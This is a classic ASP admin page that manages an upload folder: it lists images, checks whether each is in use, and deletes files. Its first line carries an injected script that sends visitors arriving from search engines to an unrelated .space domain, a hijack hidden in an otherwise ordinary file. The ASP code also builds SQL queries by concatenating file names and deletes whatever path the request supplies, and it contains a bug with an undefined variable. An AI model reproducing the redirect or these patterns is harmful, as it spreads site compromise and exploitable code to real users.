d:\wwwroot\wuchunhua\admin\UploadFileManage.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <!--#include file="admin_function.asp"-->
003: <%if session("china_admin")="" then
004: response.redirect "login.asp"
005: end if
006: %
>
007: <%
008:     UploadDir="../adpic/"
009:     Const MaxPerPage=20
010:     dim strFileName
011:     dim totalPut,CurrentPage,TotalPages
012:     dim UploadDir,TruePath,fso,theFolder,theFile,whichfile,thisfile,FileCount,TotleSize
013:     strFileName="UploadFileManage.asp"
014:     if request("page")<>"" then
015:     currentPage=cint(request("page"))
016:     else
017:     currentPage=1
018:     end if
019:     TruePath=Server.MapPath(UploadDir)
020:     If not IsObjInstalled("Scripting.FileSystemObject") Then
021:     Response.Write "<b><font color=red>你的服务器不支持 FSO(Scripting.FileSystemObject)! 不能使用本功能</font></b>"
022:     Else
023:    set fso=CreateObject("Scripting.FileSystemObject")
024:    if request("Action")="Del" then
025:       whichfile=server.mappath(Request("FileName"))
026:       Set thisfile = fso.GetFile(whichfile)
027:       thisfile.Delete True
028:       fname=mid(filename,9)
029:       set rs=server.createobject("adodb.recordset")
030:         set rs1=server.createobject("adodb.recordset")
031:       rs.open "select * from upfile where filename='"&fname&"'",conn,1,3
032:       if not rs.eof then
033:       if rs("username")<>"" then
034:           rs1.open "select delpic from china_user where uid='"&rs("username")&"'",conn,1,3
035:           if not rs1.eof then
036:               rs1("delpic")=rs1("delpic")+1
037:                 rs1.update
038:              end if
039:          rs1.close  
040:        end if
041:        rs.delete
042:        rs.update
043:        end if
044:      rs.close
045:      set rs=nothing
046:      set rs1=nothing  
047:    end if
048: %
>
049: <script language="JavaScript">
050:     function ConfirmDel()
051:     {
052:     if (confirm("你真的要删除此文件吗!"))
053:     return true;
054:     else
055:     return false;
056:     }
057: </script>
058: <link href="other/Admin.css" rel="stylesheet" type="text/css">
059: <table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
060:   <tr>
061:     <td align="center" valign="top"><strong><span style="font-size: 10.5pt">上 传 文 件 管 理</span><br>
062:     </strong>
063: <%set rs=server.createobject("adodb.recordset")
064:     if fso.FolderExists(TruePath)then
065:    FileCount=0
066:    TotleSize=0
067:    Set theFolder=fso.GetFolder(TruePath)
068:    For Each theFile In theFolder.Files
069:       FileCount=FileCount+1
070:       TotleSize=TotleSize+theFile.Size
071:    next
072:     totalPut=FileCount
073:    if currentpage<1 then
074:          currentpage=1
075:       end if
076:       if (currentpage-1)*MaxPerPage>totalput then
077:       if (totalPut mod MaxPerPage)=0 then
078:            currentpage= totalPut \ MaxPerPage
079:         else
080:             currentpage= totalPut \ MaxPerPage + 1
081:       end if
082:
083:     end if
084:    if currentPage=1 then
085:       showpage2 strFileName,totalput,MaxPerPage
086:       showContent        
087:       showpage2 strFileName,totalput,MaxPerPage
088:       response.write "<br><div align='center'>本页共显示 <b>" & FileCount & "</b> 个文件,占用 <b>" & TotleSize\1024 & "</b> K</div>"
089:       else
090:             if (currentPage-1)*MaxPerPage<totalPut then
091:          showpage2 strFileName,totalput,MaxPerPage
092:          showContent        
093:          showpage2 strFileName,totalput,MaxPerPage
094:          response.write "<br><div align='center'>本页共显示 <b>" & FileCount & "</b> 个文件,占用 <b>" & TotleSize\1024 & "</b> K</div>"
095:           else
096:            currentPage=1
097:          showpage2 strFileName,totalput,MaxPerPage
098:          showContent        
099:          showpage2 strFileName,totalput,MaxPerPage
100:          response.write "<br><div align='center'>本页共显示 <b>" & FileCount & "</b> 个文件,占用 <b>" & TotleSize\1024 & "</b> K</div>"
101:        end if
102:    end if
103:     else
104:    response.write "找不到文件夹!可能是配置有误!"
105:     end if
106:     end if
107:
108:     sub showContent()
109:       dim c
110:    FileCount=0
111:    TotleSize=0
112: %
>
113:       <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1" class="border">
114:         <tr bgcolor="#799AE1">
115:           <td width="172" height="25" align="center">
116:          <font color="#FFFFFF" style="font-size: 10.5pt">文件名</font></td>
117:           <td width="60" height="20" align="center">
118:          <font color="#FFFFFF" style="font-size: 10.5pt">略图片</font></td>
119:           <td width="101" height="20" align="center">
120:          <font color="#FFFFFF" style="font-size: 10.5pt">文件大小</font></td>
121:           <td width="105" height="20" align="center">
122:          <font color="#FFFFFF" style="font-size: 10.5pt">文件类型</font></td>
123:           <td width="120" height="20" align="center">
124:          <font color="#FFFFFF" style="font-size: 10.5pt">最后修改时间</font></td>
125:           <td width="40" height="20" align="center">
126:          <font color="#FFFFFF" style="font-size: 10.5pt">调用</font></td>
127:           <td width="46" height="20" align="center">
128:          <font color="#FFFFFF" style="font-size: 10.5pt">操作</font></td>
129:         </tr>
130:         <%
131:     For Each theFile In theFolder.Files
132:     c=c+1
133:     if FileCount>=MaxPerPage then
134:     exit for
135:     elseif c>MaxPerPage*(CurrentPage-1) then
136: %
>
137:         <tr bgcolor="#FFFFFF" class="tdbg">
138:           <td height="22" align="center">&nbsp;<a href="<%=(UploadDir & theFile.Name)%>" target="_blank"><strong><%=theFile.Name%></strong></a></td>
139:           <td width="60" align="center">
140:             <p align="center"><strong><img border="0" src="<%=(UploadDir & theFile.Name)%>" width="30" height="30"></strong>
141:           </td>
142:           <td width="101" align="center"><%=theFile.size%>字节</td>
143:           <td width="105" align="center"><%=theFile.type%></td>
144:           <td width="120" align="center"><%=theFile.DateLastModified%></td>
145:         <%sql="select * from china_data where pic='"&theFile.Name&"'"
146:         rs.open sql,conn,1,1
147:         if rs.eof then
148:         rs.close        
149:         sql="select * from china_ad where picname='"&theFile.Name&"'"
150:         rs.open sql,conn,1,1
151:         if rs.eof then
152:         rs.close
153:         sql="select * from news_data where pic='"&theFile.Name&"'"
154:         rs.open sql,conn,1,1
155:         if rs.eof then
156:         rs.close
157:         sql="select * from link_img where web='"&theFile.Name&"'"
158:         rs.open sql,conn,1,1
159:         end if
160:         end if        
161:         end if
162:         %
>
163:         <td width="40" align="center"><%if rs.eof then%>否<%else%>是<%end if%></td>
164:         <%rs.close%>
165:           <td width="46" align="center"><a href="UploadFileManage.asp?Action=Del&FileName=<%=UploadDir&theFile.Name%>" onclick="return ConfirmDel()">删除</a></td>
166:         </tr>
167:         <%FileCount=FileCount+1
168:     TotleSize=TotleSize+theFile.Size
169:     end if
170:     Next
171: %
>
172:       </table>
173: <% end sub %> </td>
174:   </tr>
175: </table>
176: <%
177:     sub showpage2(sfilename,totalnumber,maxperpage)
178:    dim n, i,strTemp
179:    if totalnumber mod maxperpage=0 then
180:        n= totalnumber \ maxperpage
181:      else
182:        n= totalnumber \ maxperpage+1
183:      end if
184:      strTemp= "<table align='center'><form name='showpages' method='Post' action='" & sfilename & "'><tr><td>"
185:    strTemp=strTemp & "共 <b>" & totalnumber & "</b> 个文件,占用 <b>" & TotleSize\1024 & "</b> K&nbsp;&nbsp;&nbsp;"
186:    sfilename=JoinChar(sfilename)
187:      if CurrentPage<2 then
188:           strTemp=strTemp & "首页 上一页&nbsp;"
189:      else
190:           strTemp=strTemp & "<a href='" & sfilename & "page=1'>首页</a>&nbsp;"
191:           strTemp=strTemp & "<a href='" & sfilename & "page=" & (CurrentPage-1) & "'>上一页</a>&nbsp;"
192:      end if
193:
194:      if n-currentpage<1 then
195:           strTemp=strTemp & "下一页 尾页"
196:      else
197:           strTemp=strTemp & "<a href='" & sfilename & "page=" & (CurrentPage+1) & "'>下一页</a>&nbsp;"
198:           strTemp=strTemp & "<a href='" & sfilename & "page=" & n & "'>尾页</a>"
199:      end if
200:       strTemp=strTemp & "&nbsp;页次:<strong><font color=red>" & CurrentPage & "</font>/" & n & "</strong>页 "
201:     strTemp=strTemp & "&nbsp;<b>" & maxperpage & "</b>" & "个文件/页"
202:    strTemp=strTemp & "&nbsp;转到:<select name='page' size='1' onchange='javascript:submit()'>"  
203:     for i = 1 to n  
204:          strTemp=strTemp & "<option value='" & i & "'"
205:       if cint(CurrentPage)=cint(i) then strTemp=strTemp & " selected "
206:       strTemp=strTemp & ">第" & i & "页</option>"  
207:    next
208:    strTemp=strTemp & "</select>"
209:    strTemp=strTemp & "</td></tr></form></table>"
210:    response.write strTemp
211:     end sub
212: %
>
213:
214: